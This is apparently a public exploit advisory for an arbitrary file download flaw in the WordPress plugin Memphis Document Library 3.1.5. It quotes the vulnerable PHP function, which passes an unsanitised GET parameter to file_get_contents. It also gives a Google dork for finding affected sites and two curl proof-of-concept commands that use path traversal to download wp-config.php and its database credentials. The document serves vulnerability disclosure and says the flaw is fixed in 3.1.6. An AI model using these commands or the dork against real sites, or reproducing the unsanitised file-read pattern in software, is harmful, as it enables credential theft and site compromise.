WordPress Plugin Memphis Document Library 3.1.5 - Arbitrary File Download

# Exploit Title: Arbitrary file download in Memphis Document Library 3.1.5
# Google Dork: inurl:"mdocs-posts" -site:wordpress.org
# Date: 22/03/2016
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org
# Software Link: https://downloads.wordpress.org/plugin/memphis-documents-library.3.1.5.zip
# Version: 3.1.5 (Vulnerable from 2.3 to 3.1.5, fixed in 3.1.6)
# Tested on: Ubuntu 12.04, Wordpress 4.4.2.
# CVE : N/A
# Vulnerable file: memphis-documents-library/mdocs-downloads.php
# Vulnerable function: mdocs_img_preview()
# Vulnerable GET parameter: Injectable 'mdocs-img-preview'
# Vulnerable line: 90 to 93
# Vulnerable code:

87 function mdocs_img_preview() {
88 require_once(ABSPATH . 'wp-includes/pluggable.php');
89 $upload_dir = wp_upload_dir();
90 $image = $upload_dir['basedir'].MDOCS_DIR.$_GET['mdocs-img-preview'];
91 $content = file_get_contents($image);
92 header('Content-Type: image/jpeg');
93 echo $content; exit();
94 }

# POC:

curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php

or if the plugin is not installed in the root folder of wordpress, for
example in the folder "mdocs-posts":

curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php